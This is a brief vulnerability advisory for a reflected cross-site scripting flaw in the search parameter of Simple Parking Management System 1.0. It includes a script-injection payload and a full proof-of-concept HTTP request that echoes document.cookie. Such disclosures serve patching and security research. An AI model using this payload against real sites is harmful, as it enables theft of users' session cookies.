Title: Simple Parking Management System 1.0 Reflected Cross-Site Scripting

Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)

Date: 10.07.2022

Vendor: https://www.sourcecodester.com/users/tips23

Software: https://www.sourcecodester.com/php-codeigniter-simple-parking-management-system-source-code

Version: 1.0

Reference: https://github.com/CyberThoth/CVE/blob/d18ef36d0aa5eb650bbe7dc002bd82db13b1ed42/CVE/Simple%20Parking%20Management%20System/Cross%20Site%20Scripting(Refelected)/POC.md

Description:

Simple Parking Management System is vulnerable to Reflected cross-site scripting on the search parameter.

Impact:

An attacker could steal cookies with a crafted URL sent to the victims.

Payload used:

```
"><script>alert("XSS")</script>
```

POC

```
GET /ci_spms/admin/search/searching/?
search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&find= HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: ci_session=hrm5slo659sa0q687m87vufu1p0gcfcg
Connection: close
```